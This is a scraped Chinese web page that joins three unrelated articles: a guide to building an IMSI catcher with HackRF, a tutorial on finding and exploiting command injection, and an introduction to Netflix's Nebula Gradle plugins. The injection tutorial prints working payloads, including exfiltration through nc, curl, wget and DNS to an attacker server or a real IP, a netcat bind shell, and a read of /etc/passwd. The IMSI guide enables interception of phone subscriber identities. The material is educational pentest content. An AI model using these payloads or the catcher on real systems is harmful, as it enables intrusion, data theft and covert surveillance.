如何永久使用简单游脚本HackRF做一个简单的IMSI捕获器

如何使用HackRF做一个简单的IMSI捕获器 - 推酷
如何使用HackRF做一个简单的IMSI捕获器
IMSI为国际用户识别码(International Mobile Subscriber Identity)的缩写,是用于区分蜂窝网络中不同用户的,在所在蜂窝网络中不重复的识别码。IMSI可以用于在归属位置寄存器(HLR)和拜访位置寄存器(VLR)中查询用户信息,为了避免被监听者识别并追踪特定用户,有些情形下手机与网络之间的通信会使用随机生成的临时移动用户识别码(TMSI)代替IMSI。
如图,IMSI由MCC(移动国家代码),MNC(移动网络代码)以及MSIN(移动用户识别代码)组成,一般为15位。
HackRF one
一台电脑(Kali linux,其他一些发行版都可以)
安装IMSI-catcher,gr-gsm,gnuradio及其他
安装过程可以参考这里,步骤基本相同。
apt-get install gnuradio gnuradio-dev gr-osmosdr
sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy
git clone /ptrkrysik/gr-gsm.git
mkdir build
sudo make install
sudo idconfig
git clone /Oros42/IMSI-catcher.git
在/root/.gnuradio中创建文件config.conf并粘贴以下内容:
local_blocks_path=/usr/local/share/gnuradio/grc/blocks
最后安装kalibrate-hackrf(可以不装,不装的话直接看下面)
apt-get install automake autoconf
git clone /scateu/kalibrate-hackrf.git
cd kalibrate-hackrf
./bootstrap
./configure
make install
如果安装了kalibrate-hackrf:
cd kalibrate-hackrf
./kal -s GSM900 -g 40 -l 40
稍作等待,即出现下图所示情况
打开gr-gsm_livemon,选择刚刚获取的其中一个频率并进行微调,直到终端显示数据。
grgsm_livemon
出现数据就会像下图一样
如果没有装kalibrate-hackrf,那只能从一开始给的频率慢慢调了。
cd IMSI-catcher/
chmod u+x simple_IMSI-catcher.py
./simple_IMSI-catcher.py
稍等片刻,即可显示信息
已发表评论数()
请填写推刊名
描述不能大于100个字符!
权限设置: 公开
仅自己可见
正文不准确
标题不准确
排版有问题
主题不准确
没有分页内容
图片无法显示
视频无法显示
与原文不一致挖洞姿势:浅析命令注入漏洞 -
| 关注黑客与极客
挖洞姿势:浅析命令注入漏洞
共307874人围观
,发现 5 个不明物体
命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。说到这里,我们不得不提另外一个叫做远程代码执行(RCE)的漏洞——许多人总会把这两个漏洞混淆,其实它们是有本质的区别的。
命令执行只是针对系统命令,而远程代码执行针对的是编程代码,两者互不能替换。下面让我来通过实例向大家演示如何挖掘及利用它。
我们首先编写两个简单的用于在本地测试的Ruby脚本,当前我使用的Ruby版本为2.3.3p222。下面是我的ping.rb脚本:
puts `ping -c 4 #{ARGV[0]}`
该脚本将会ping以参数形式传递过来的服务器,并将结果输出在屏幕上。以下是输出内容:
$ ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms
可以看到系统执行了ping -c 4 8.8.8.8这条命令,并在屏幕上显示输出。下面是另一个我们在本文中需要使用到的脚本:server-online.rb。
puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no'
该脚本将根据ICMP响应(ping)来确定服务器是否处于存活状态。如果它响应ping请求,屏幕上将显示yes。如果没有,它将显示no。命令输出的详细信息将不会显示给用户,如下:
$ ruby server-on.rb '8.8.8.8'
$ ruby server-on.rb '8.8.8.7'
检测一阶命令注入的最佳方式是尝试执行一个sleep命令,并观察其执行时间是否增加。我们来创建一个基于时间线的ping.rb脚本:
$ time ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
0.09s user 0.04s system 4% cpu 3.176 total
执行脚本大约需要3秒钟的时间,我们来看看该脚本是否存在sleep命令注入。
$ time ruby ping.rb '8.8.8.8 && sleep 5'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
0.10s user 0.04s system 1% cpu 8.182 total
现在我们来对比下两次的执行时间。可以看到时间从?3秒跳到?8秒,刚好增加了5秒。为了排除互联网延迟的可能,建议大家可以重复测试对比。
我们再来测试下server-online.rb脚本是否也存在同样的问题。
$ time ruby server-online.rb '8.8.8.8'
0.10s user 0.04s system 4% cpu 3.174 total
$ time ruby server-online.rb '8.8.8.8 && sleep 5'
0.10s user 0.04s system 1% cpu 8.203 total
可以看到,相比正常的请求时间同样增加了5秒钟。
根据正在执行的命令,我们可以注入不同地注入sleep命令。以下是一些payloads,你可以在查找命令注入时进行尝试:
time ruby ping.rb '8.8.8.8`sleep 5`'
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo `ls`&将会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果打印在屏幕上,这被称为。由于反引号之间的命令优先被执行,所以之后的命令即便执行失败也无关紧要。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。
ping -c 4 8.8.8.8`sleep 5`
sleep命令被执行,命令替换在命令行中。
ping -c 4 &#.8.8`sleep 5`”
sleep命令被执行,命令替换在复杂的字符串双引号之间。
ping -c 4 $(echo 8.8.8.8`sleep 5`)
sleep命令被执行,命令替换在使用不同符号时(请参见下面的示例)。
ping -c 4 &#.8.8`sleep 5`’
sleep命令不执行,命令替换在简单字符串中不起作用(单引号之间)。
ping -c 4 `echo 8.8.8.8`sleep 5“
sleep命令不执行,使用相同符号时命令替换不起作用。
time ruby ping.rb '8.8.8.8$(sleep 5)'
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。当使用命令替换来查找命令注入时,务必确保payload已被替换,避免出现上述表中的最后一种情况。
time ruby ping.rb '8.8.8.8; sleep 5'
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。
ping -c 4 8.8.8.8;sleep 5
sleep命令被执行,命令在命令行中顺序执行。
ping -c 4 &#.8.8;sleep 5″
sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8;sleep 5)
sleep命令被执行,排序命令在命令替换中起作用。
ping -c 4 &#.8.8;sleep 5′
sleep命令未被执行, 附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8;sleep 5`
sleep命令被执行,排序命令在命令替换中起作用。
time ruby ping.rb '8.8.8.8 | sleep 5'
除此之外我们还可以使用命令管道符,通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。例如执行cat /etc/passwd | grep root这条命令时,它将捕获cat /etc/passwd的输出并将其传递给grep root,最终显示与root匹配的行。当第一条命令失败时,它仍然会执行第二条命令。以下是payload注入及结果的命令表,注入的payload被标记为绿颜色。
ping -c 4 8.8.8.8 | sleep 5
sleep命令被执行,管道输出在命令行正常执行。
ping -c 4 &#.8.8 | sleep 5″
sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 $(echo 8.8.8.8 | sleep 5)
sleep命令被执行,管道输出在命令替换中起作用。
ping -c 4 &#.8.8 | sleep 5′
sleep命令未被执行,附加命令被注入到一个字符串中,该字符串作为参数传递给ping命令。
ping -c 4 `echo 8.8.8.8 | sleep 5`
sleep命令被执行,管道输出在命令替换中起作用。
想要更好地利用这个漏洞,我们需要确定它是一个常规命令注入还是命令盲注。两者的区别在于,命令盲注不会在响应中返回命令的输出。常规的命令注入,将返回响应中执行命令的输出。通常sleep命令就可以为我们很好的判断。当然,除此之外你还可以使用更多的命令来进行验证,如执行id,hostname或whoami。服务器的主机名可用于确定受影响的服务器数量。
重要:没有企业愿意让你窥探到他们的机密信息。在实际测试中利用该漏洞时,最好先取得目标企业的授权。如果仅仅是想要证明漏洞的危害,那么id,hostname或whoami这些命令则已经足够。
常规命令注入利用
常规命令注入的利用非常简单:任何注入命令的输出都将返回给用户:
$ ruby ping.rb '8.8.8.8 && whoami'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms
红色部分显示ping命令的输出。绿色文本输出whoami命令执行结果。
命令盲注利用
命令盲注输出将不会返回给用户,所以我们需要通过其它方法来提取输出。最直接的方法是将输出offload到你的服务器。我们只需在服务器上执行nc -l -n -vv -p 80 -k这条命令,并配置防火墙允许80端口入站连接。
接下来我们就可以使用nc,curl,wget,telnet或任何其他将数据发送工具,将输出发送给你的服务器:
$ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80'
此时如果一切正常,我们就可以在我们的服务器上获取到hostname命令的输出信息:
$ nc -l -n -vv -p 80 -k
Listening on [0.0.0.0] (family 0, port 81)
Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225)
hacker.local
在上面的示例中,nc用于将命令的输出发送到你的服务器。但是,nc可能会被删除或无法执行。因此我们可以先通过以下测试命令,来判断目标服务器是否存在我们所需的命令工具。如果任何命令的执行时间增加了5秒,那么就证明该命令存在。
curl -h && sleep 5
wget -h && sleep 5
ssh -V && sleep 5
telnet && sleep 5
你可以使用任意一个命令将输出发送到你的服务器,如下所示:
whoami | curl http://your-server -d @-
wget http://your-server/$(whoami)
export C=whoami | ssh user@your-server (在你的服务器上设置用户帐户以进行身份验证无需密码,并记录每个正在执行的命令)
即使server-online.rb脚本不输出hostname命令结果,攻击者仍然可以获取输出信息。在某些情况下出站TCP和UDP连接会被阻止,但即便如此攻击者仍有可能成功提取到输出信息。
其实我们还可以利用sleep命令提取输出。这里的技巧是将命令的结果传递给sleep命令。这里我为大家举一个例子:sleep $(hostname | cut -c 1 | tr a 5),让我们来简单分析下。
我们执行的命令为hostname。我们假设它返回hacker.local。
它需要输出并将其传递给cut -c 1。这将选取hacker.local的第一个字符h。
接着通过tr命令将字符a替换为5。
然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数智能为一个数字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。
以下是我测试时使用的猜解命令及其结果:
ruby server-online.rb &#.8.8;sleep $(hostname | cut -c 1 | tr a 5)’
ruby server-online.rb &#.8.8;sleep $(hostname | cut -c 1 | tr h 5)’
ruby server-online.rb &#.8.8;sleep $(hostname | cut -c 2 | tr a 5)’
ruby server-online.rb &#.8.8;sleep $(hostname | cut -c 3 | tr a 5)’
ruby server-online.rb &#.8.8;sleep $(hostname | cut -c 3 | tr c 5)’
如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。hacker.local为12个字符。hostname命令返回主机名和一个新行,因此wc -c将显示13个字符。经过我们测试,脚本的执行时间最短需要3秒钟。
$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'
0.10s user 0.04s system 0% cpu 16.188 total
可以看到以上的payload脚本共用时16秒才执行完成,这意味着主机名为12个字符:16 – 3 (基线) – 1 (新行) = 12个字符。当在Web服务器上执行此payload时,输出结果可能会有所不同:当请求由不同的服务器处理时,主机名的长度也可能会改变。
上述方法适用于较小的输出,但读取文件就可能需要花费较长的时间。如果出站连接被阻止并且长时间的无法读取输出,这里还有一些其他的技巧(在CTF中非常实用):
在服务器上执行端口扫描,并且基于暴露的服务确定提取输出的方式。
FTP:尝试将文件写入可以从中下载文件的目录。
SSH:尝试将命令的输出写入MOTD banner,然后只需SSH到服务器。
Web:尝试将命令的输出写入公共目录(/var/www/)中。
在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix)&或&nc -l -n -vv -p 80 -e cmd.exe (windows)。
使用dig或nslookup进行DNS查询,将输出发送到端口53(UDP):&dig `hostname` @your-server&或&nslookup `hostname` your-server。可以使用服务器上的nc -l -n -vv -p 53 -u -k捕获输出。这可能会有效,因为通常出站DNS流量不会被阻止。具体查看这个如何使用dig&offload文件内容。
在ping服务器offload数据时,请更改ICMP数据包大小。tcpdump可用于捕获数据。详情请查阅这个。
当然除了以上介绍的这些方法还有许多其他的方法,具体还得取决于服务器为我们提供了哪些切入口!
如果目标系统的防护措施做得比较到位,那么上述方法可能就会失效。具我多年的经验总结发现,在这些防护措施中使用最多的就是对于payload中空格的限制。那么对于这类防护有没有什么好的绕过办法呢?有。这里我们就要用到一种叫做的东西,利用它我们就可以创建没有空格的有效载荷了。以下是ping-2.rb,它是ping.rb的升级版。在将用户输入传递给命令之前,它会从输入中删除空格。
puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}`
当我们将8.8.8.8 && sleep 5作为参数时,它将执行ping -c 4 8.8.8.8 && sleep5,这将导致一个错误,将会显示没有找到命令sleep5。这里我们就可以使用大括号扩展来有效解决:
$ time ruby ping-2.rb '8.8.8.8;{sleep,5}'
0.10s user 0.04s system 1% cpu 8.182 total
以下payload会将命令的输出发送到外部服务器,并且没有使用任何空格:
$ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
我们还可以读取/etc/passwd下的内容:
$ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms
# User Database
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory.
作为程序开发人员,应当清楚的了解和掌握命令注入漏洞的利用及防护手段。只有这样才能避免此类问题的产生,维护企业和用户的利益。
*参考来源:,FB小编 secist 编译,转载请注明来自
似乎我的辩色能力出了问题……我看不到绿颜色在哪里了……
必须您当前尚未登录。
必须(保密)
每个人的心中都有一个梦。。
关注我们 分享每日精选文章Nebula: Netflix 开源的 Gradle 插件集合 - 推酷
Nebula: Netflix 开源的 Gradle 插件集合
Gradle 作为 Apache Maven 的有力竞争者,在 Java 项目的构建领域逐渐流行起来。很多开源项目,如 Spring 框架、Hibernate、Elasticsearch 和 RxJava 等都使用 Gradle 进行构建。Gradle 也是 Android Studio 中 Android 项目的标准构建方式。越来越多的开发人员开始使用 Gradle 构建自己的 Java 项目。在开始使用 Gradle 时经常会面临的一个问题是从何处开始。Maven 中可以使用 Archetype 来作为项目的模板,Gradle 并没有提供类似的机制。本文要介绍的 Nebula 是由 Netflix 开发的 Gradle 项目构建框架,其目的是为 Gradle 项目提供一个良好的起点,把一些常见的任务添加到构建过程中,从而简化 Gradle 项目的构建配置。
本文通过一个基于 Spring Boot 的 Java Web 示例应用来介绍 Nebula 的使用。Nebula 的核心是一系列由 Netflix 开发和维护的 Gradle 插件。这些插件覆盖 Gradle 项目构建的不同阶段,提供不同的功能。给出了使用 Nebula 的插件的项目的 Gradle 脚本。Nebula 的插件都发布到 Gradle 插件仓库中,因此需要在脚本中添加插件仓库地址&https://plugins.gradle.org/m2/&。要使用 Nebula 的插件,只需要在脚本中的 buildscript 中添加对相应插件的依赖,再通过 apply plugin 来应用插件。在应用了插件之后,可以在脚本中进行相应的配置,并通过 Gradle 命令行来运行相关的任务。中给出了示例的 Gradle 脚本。
清单 1. 使用 Nebula 的 Gradle 脚本
group 'com.midgetontoes'
version '1.0-SNAPSHOT'
buildscript {
springBootVersion = '1.3.5.RELEASE'
repositories {
mavenLocal()
mavenCentral()
url &https://plugins.gradle.org/m2/&
dependencies {
classpath(&org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}&)
classpath &com.netflix.nebula:nebula-project-plugin:3.2.0&
classpath &.netflix.nebula:gradle-ospackage-plugin:3.6.1&
classpath &com.netflix.nebula:nebula-publishing-plugin:4.8.0&
classpath &com.netflix.nebula:nebula-release-plugin:4.0.1&
classpath &com.netflix.nebula:gradle-resolution-rules-plugin:1.8.0&
apply plugin: 'java'
apply plugin: 'war'
apply plugin: 'application'
apply plugin: 'spring-boot'
apply plugin: 'nebula.project'
apply plugin: 'nebula.resolution-rules'
apply plugin: 'nebula.dependency-lock'
apply plugin: 'nebula.ospackage-daemon'
apply plugin: 'nebula.maven-publish'
apply plugin: 'nebula.javadoc-jar'
apply plugin: 'nebula.source-jar'
apply plugin: 'nebula.nebula-release'
sourceCompatibility = 1.8
mainClassName = 'com.midgetontoes.nebulasample.Application'
repositories {
mavenLocal()
mavenCentral()
dependencies {
resolutionRules files('local-rules.json')
resolutionRules 'com.netflix.nebula:gradle-resolution-rules:latest.release'
compile('org.springframework.boot:spring-boot-starter-web')
compile('com.google.guava:guava:19.0')
// compile('io.netty:netty-all:4.1.4.Final')
testCompile('org.springframework.boot:spring-boot-starter-test')
下面对 Nebula 提供的常用插件进行具体的介绍。
依赖版本锁定
在进行项目构建时一个很重要的要求是构建的可重复性。也就是说,代码仓库中任意时刻的代码都应该是可重复构建的。只有这样才可以保证代码的稳定性和质量。不论是最近的代码,还是几个星期之前、几个月之前甚至是几年之前的代码,都应该满足这样的条件。
可重复构建所面临的挑战之一来自于项目所依赖的第三方库。随着项目的演化,这些第三方库的版本可能升级。之前的项目版本也许只能与特定版本的第三方库协同工作。Gradle 项目直接在 Gradle 文件中声明所依赖的第三方库的版本。除了直接声明的第三方库版本之外,有些依赖是通过传递关系引入的。这些传递依赖的版本是不受应用本身控制的,而由所依赖的库自己来管理。因此第三方库自身的依赖的版本更新,也可能造成应用的构建失败。当项目的传递依赖关系很复杂时,很可能会出现传递依赖冲突的情况。
Nebula 提供的 nebula.dependency-lock 插件的作用是生成一个包含了全部依赖的具体版本的锁定文件。这个文件由代码仓库进行管理。当这个文件存在时,该插件会确保 Gradle 只会使用正确版本的依赖。实际上,使用过 Ruby 中的 Gem 管理工具 Bundler 的开发人员会发现,这种版本锁定功能与 Bundler 生成的 Gemfile.lock 是一样的。当每次版本发布时,在构建成功之后,应该通过该插件生成锁定文件,并提交到代码仓库。
nebula.dependency-lock 插件支持两类不同的锁定文件,分别是项目锁定文件和全局锁定文件。当 Gradle 项目中包含多个子项目时,每个子项目可以有自己的锁定文件。当全局锁定文件存在时,子项目中的锁定文件不起作用。子项目锁定文件的名称默认为 dependencies.lock,全局锁定文件的名称默认为 global.lock。插件提供的任务如所示。
表 1. nebula.dependency-lock 插件提供的任务
generateLock / generateGlobalLock
生成锁定文件。generateLock 生成子项目的锁定文件,
generateGlobalLock 生成全局锁定文件。锁定文件生成在项目的 build 目录中。
updateLock / updateGlobalLock
更新子项目/全局锁定文件。
saveLock / saveGlobalLock
把生成的锁定文件复制到项目目录中。
deleteLock / deleteGlobalLock
删除子项目/全局锁定文件。
commitLock
把锁定文件提交到代码仓库。
该插件提供了一些额外的参数来对任务的行为进行配置。比如,在 updateLock 时可以通过 dependencyLock.updateDependencies 来指定需要更新的依赖的名称。
依赖版本推荐
在 Gradle 项目中添加第三方依赖时都需要指定版本号。在 Gradle 脚本文件中直接引用版本号可能造成依赖版本升级时的维护困难。一般的做法是把版本号提取到项目属性中,从而可以在统一的地方管理所有依赖的版本信息。当项目较多时,这样的管理方式也会变得很繁琐。因为有些通用的库会在多个项目中使用,而当需要升级这些通用库的版本时,会需要修改多个项目的 Gradle 文件。另外一个常见的需求是解决多个依赖库的版本兼容问题。有些第三方库,如 Spring 框架,包含很多个子项目,当引用这些依赖时,需要确保这些依赖的版本一致,否则可能出现兼容性问题。
这些与依赖的版本号相关的问题,都可以通过 Nebula 提供的依赖推荐插件来解决。在使用了依赖推荐插件之后,没有声明版本的第三方依赖的版本号由插件来决定。
依赖推荐插件支持五种方式来声明所推荐的依赖的版本。第一种方式是通过 Maven BOM 文件。Maven 的 BOM 文件中直接定义了依赖的版本信息。比如,Spring Boot 项目就提供了相应的 BOM 文件,可以作为创建 Spring Boot 项目的父 POM 文件。Maven BOM 文件中通过 dependencyManagement 来指定不同依赖的版本号。中给出了作为示例的 Maven BOM 文件。
清单 2. 示例 Maven BOM 文件
&project xmlns=&http://maven.apache.org/POM/4.0.0& xmlns:xsi=&http://www.w3.org/2001/XMLSchema-instance&
xsi:schemaLocation=&http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&&
&modelVersion&4.0.0&/modelVersion&
&groupId&sample&/groupId&
&artifactId&sample-bom&/artifactId&
&version&1.0&/version&
&dependencyManagement&
&dependencies&
&dependency&
&groupId&commons-logging&/groupId&
&artifactId&commons-logging&/artifactId&
&version&1.1.1&/version&
&/dependency&
&/dependencies&
&/dependencyManagement&
&/project&
当 Maven BOM 文件发布到 Maven 仓库之后,可以作为依赖推荐插件的规则来源,如所示。
清单 3. 使用 Maven BOM 文件指定推荐版本
dependencyRecommendations {
mavenBom module: 'sample:sample-bom:1.0'
第二种方式是通过属性文件来指定版本。属性文件中的键是依赖的全名,值是对应的版本号,如所示。
清单 4. 使用属性文件指定推荐版本
dependencyRecommendations {
propertiesFile file: 'recommendations.properties'
第三种方式是通过由 dependency-lock 插件生成的依赖版本锁定文件来指定版本号,如所示。该锁定文件在生成之后,通常会被提交到代码仓库中。项目可以直接使用锁定文件来推荐版本号。
清单 5. 使用依赖版本锁定文件推荐版本
dependencyRecommendations {
dependencyLock module: 'sample:dependencies:1.0'
第四种方式是在 Gradle 文件中直接使用 java.util.Map 接口对象来提供推荐的版本号,如所示。
清单 6. 使用 Map 接口对象推荐版本
dependencyRecommendations {
map recommendations: [
'com.google.guava:guava': '18.0',
'org.slf4j:slf4j-api': '1.7.21'
最后一种方式是通过完全自定义的代码来声明推荐的版本号。在 Gradle 脚本中通过 add 方法来添加规则。add 方法需要根据依赖的组织名和名称,返回其对应的推荐版本号。比如可以把推荐的版本号保存在数据库之中,然后在 add 方法中进行数据库查询并返回版本号。在中,对所有的依赖都返回推荐的版本号 1.0。
清单 7. 使用 add 方法推荐版本
dependencyRecommendations {
add { org, name -& '1.0' }
在使用了版本推荐插件之后,Gradle 对依赖版本的选择过程发生了变化。优先级最高的是强制应用的依赖版本号,其次是显式指定了版本号的普通依赖,接着是通过插件推荐的依赖版本号,最后则是由直接依赖引入的传递依赖。当传递依赖的版本号与插件推荐的版本号发生冲突时,可以应用不同的冲突解决策略。默认的策略是 ConflictResolved,即通过 Gradle 自己的机制来选择合适的版本号,即优先考虑传递依赖中的版本号,再考虑插件所推荐的版本号;另外一种策略是 OverrideTransitives,即选择插件推荐的版本号,而完全忽略传递依赖中的版本号。中给出了使用 OverrideTransitives 策略的示例。
清单 8. 使用 OverrideTransitives 策略
dependencyRecommendations {
strategy OverrideTransitives
map recommendations: ['commons-logging:commons-logging': '1.0']
依赖解析规则
Gradle 本身已经提供了强大的依赖解析功能,可以满足各种特殊的依赖解析需求。在使用第三方提供的库时,不可避免的会遇到一些特殊情况,造成正常的依赖解析方式无法满足需求。这一方面是由于第三方库本身的原因,如库可能修改了在 Maven 仓库中的组织名和名称,但是并没有修改其内部的 Java 包名;有的库可能把所依赖的其他库打包在自己的 jar 包中。这两种情况都会造成解析时出现重复名称的 Java 类。另外一方面是额外的依赖限制。比如某些库可能只兼容特定版本的其他库。这样的版本依赖关系需要显式声明。还有一个常见需求是限制库使用的最低版本。这些需求都可以通过 Gradle 脚本来实现。但是当有多个项目时,这些特殊的依赖解析规则会在不同的 Gradle 脚本中重复,并没有很好的方式来复用。
Nebula 中的 nebula.resolution-rules 插件提供了一种更好的方式来管理和复用这些依赖解析规则。通过该插件可以把依赖解析规则记录在 JSON 文件中,从而可以更好的复用。可以为这些 JSON 文件创建专门的 Maven 项目并进行版本管理。公司和组织可以管理和维护自己的依赖解析规则。Netflix 自己维护一个公开的代码仓库来包含常见库的依赖解析规则。
在中,通过 nebula.resolution-rules 插件的 resolutionRules 声明了两种依赖解析规则,第一种来自项目文件 local-rules.json,第二种来自 Netflix 提供的通用解析规则。
清单 9. 通过 resolutionRules 声明依赖解析规则
resolutionRules files('local-rules.json')
resolutionRules 'com.netflix.nebula:gradle-resolution-rules:latest.release'
给出了 local-rules.json 文件的内容,其中通过 deny 规则声明了不能使用 io.netty:netty-all 依赖,因为该包中有其所使用的其他依赖,很容易造成类名重复。
清单 10. 依赖解析规则示例
&module&: &io.netty:netty-all&,
&reason&: &不应该使用包含了其他依赖的库&,
&author& : &admin@example.org&,
&date& : &T20:21:20.368Z&
除了中给出的 deny 规则之外,nebula.resolution-rules 插件还支持其他不同的规则:
replace:当两个依赖同时出现时,用其中一个替换掉另外一个。
substitute:类似于 replace,不同的是只要旧的依赖出现,则替换成新的依赖。
deny:当出现指定的依赖时,会使得 Gradle 构建失败。
reject:指定的依赖不会出现在动态版本的计算过程中。但如果项目显式的包含这个依赖,则该依赖仍然会被加入。
align:要求一组依赖的使用相同的版本。
当需要发布一个项目的新版本时,通常需要执行一系列的动作,包括对代码仓库的处理,构建当前版本并发布到 Maven 仓库等。nebula-release-plugin 插件的作用是自动化执行这些操作。该插件使用符合语义版本号规则的版本,即 major.minor.patch-&prerelease&+&metadata&的格式。该插件提供了如下的任务:
snapshot:发布的版本号为&major&.&minor&.&patch&-SNAPSHOT,如 1.0.0-SNAPSHOT。
devSnapshot:发布的版本号为&major&.&minor&.&patch&-dev.#+&hash&,如 0.1.0-dev.1+b8dd0f3。该任务与 snapshot 的差别在于生成的版本号中包含当前 Git commit 的 hash。
candidate:发布的版本号为&major&.&minor&.&patch&-rc.#,表示版本发布的候选,可能存在多个候选,如 1.0.0-rc.1,1.0.0-rc.2 等。该任务会创建与版本号相同的 Git 标签。
final:发布的版本号为&major&.&minor&.&patch&,如 1.0.0。该任务会创建与版本号相同的 Git 标签。
该插件会在当前的构建成功之后才进行相应的 Git 操作,适合于在持续集成服务器中运行。
除了上述的插件之后,Nebula 还提供了其他有用的插件。
gradle-aggregate-javadocs-plugin 插件用来把多个子项目的 javadoc 合并成单一的文档。这对于包含多个子项目的项目来说是非常实用的。在添加了该插件之后,可以通过 aggregateJavadocs 任务来生成合并之后的 javadoc。
gradle-override-plugin 插件允许在命令行直接覆写项目构建中的属性值。有两种方式可以覆写属性值,一种是以&OVERRIDE_.&开头的环境变量,另外一种是以&override.&作为前缀的系统属性。比如在 Gradle 命令行可以通过&-Doverride.sampleProp=value&来覆写&sampleProp&的值为&value&。
gradle-contacts-plugin 插件允许 Gradle 项目添加开发人员的相关信息。这些信息对于开源项目来说尤其重要。通过该插件可以声明开发人员的基本信息、联系方式和角色等。这些信息会被其他插件所使用,如出现在生成的 jar 包的清单文件中,所发布的 Maven 项目的 POM 文件中。
gradle-metrics-plugin 插件用来收集构建过程中的各种数据并推送到数据存储中,以方便相关的数据分析。数据可以被推送到 Elasticsearch 或 Splunk 中。
gradle-ospackage-plugin 插件用来生成可以在操作系统上直接运行的包,支持 RedHat 和 Debian。
Gradle 作为流行的构建工具,已经被越来越多的项目所采用。在使用 Gradle 的过程中,会发现有些通用的任务需要在 Gradle 脚本中不断的重复。Nebula 的意义在于把这些通用的任务整理成单独的开源插件,使得可以被其他项目所复用。本文对 Nebula 所提供的依赖版本锁定、依赖版本推荐、依赖解析规则、版本发布和其他插件进行了详细的介绍,具体说明了这些插件在实际项目中的用法。在 Gradle 项目中使用这些插件可以极大的减少相关的工作量,并应用来自 Netflix 的最佳实践。
参考资源 (resources)
参考 Nebula 的
,了解 Nebula 的更多内容。
查看 Nebula 的
了解 Nebula 的版本锁定插件的
了解 Nebula 的版本推荐插件的
了解 Nebula 的依赖解析规则插件的
了解 Nebula 的版本发布插件的
已发表评论数()
请填写推刊名
描述不能大于100个字符!
权限设置: 公开
仅自己可见
正文不准确
标题不准确
排版有问题
主题不准确
没有分页内容
图片无法显示
视频无法显示
与原文不一致

我要回帖

更多关于 jquery on 使用捕获 的文章

 

随机推荐